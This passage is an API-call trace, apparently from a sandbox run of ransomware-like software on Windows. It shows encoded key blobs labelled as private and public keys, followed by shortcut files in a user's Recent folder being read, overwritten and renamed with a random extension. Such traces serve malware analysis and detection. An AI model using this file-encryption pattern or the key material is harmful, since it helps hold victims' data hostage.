DpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f6396c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.534] GetCurrentThreadId () returned 0xa30 [0081.534] GetCurrentThreadId () returned 0xa30 [0081.534] GetCurrentThreadId () returned 0xa30 [0081.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f749cc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.535] GetCurrentThreadId () returned 0xa30 [0081.535] GetCurrentThreadId () returned 0xa30 [0081.535] GetCurrentThreadId () returned 0xa30 [0081.535] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hmE9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hme9.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.535] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.535] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.535] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x9f1 [0081.535] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.535] ReadFile (in: hFile=0x124, lpBuffer=0x1f7c7d0, nNumberOfBytesToRead=0x9f1, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f7c7d0*, lpNumberOfBytesRead=0x18f96c*=0x9f1, lpOverlapped=0x0) returned 1 [0081.537] CloseHandle (hObject=0x124) returned 1 [0081.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hmE9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hme9.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.538] WriteFile (in: hFile=0x124, lpBuffer=0x1f7e800*, nNumberOfBytesToWrite=0x9f1, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f7e800*, lpNumberOfBytesWritten=0x18f978*=0x9f1, lpOverlapped=0x0) returned 1 [0081.540] CloseHandle (hObject=0x124) returned 1 [0081.549] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hmE9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hme9.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hmE9.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hme9.lnk.zv7un")) returned 1 [0081.550] GetCurrentThreadId () returned 0xa30 [0081.550] GetCurrentThreadId () returned 0xa30 [0081.550] GetCurrentThreadId () returned 0xa30 [0081.550] GetCurrentThreadId () returned 0xa30 [0081.550] GetCurrentThreadId () returned 0xa30 [0081.550] GetCurrentThreadId () returned 0xa30 [0081.550] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24faac0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe24faac0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2520c20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="HQv2g4iB5_eiXxJt.lnk", cAlternateFileName="HQV2G4~1.LNK")) returned 1 [0081.550] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.550] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.550] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HQv2g4iB5_eiXxJt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hqv2g4ib5_eixxjt.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24faac0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe24faac0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2520c20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x410)) returned 1 [0081.550] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HQv2g4iB5_eiXxJt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hqv2g4ib5_eixxjt.lnk")) returned 0x20 [0081.551] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HQv2g4iB5_eiXxJt.lnk", dwFileAttributes=0x80) returned 1 [0081.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1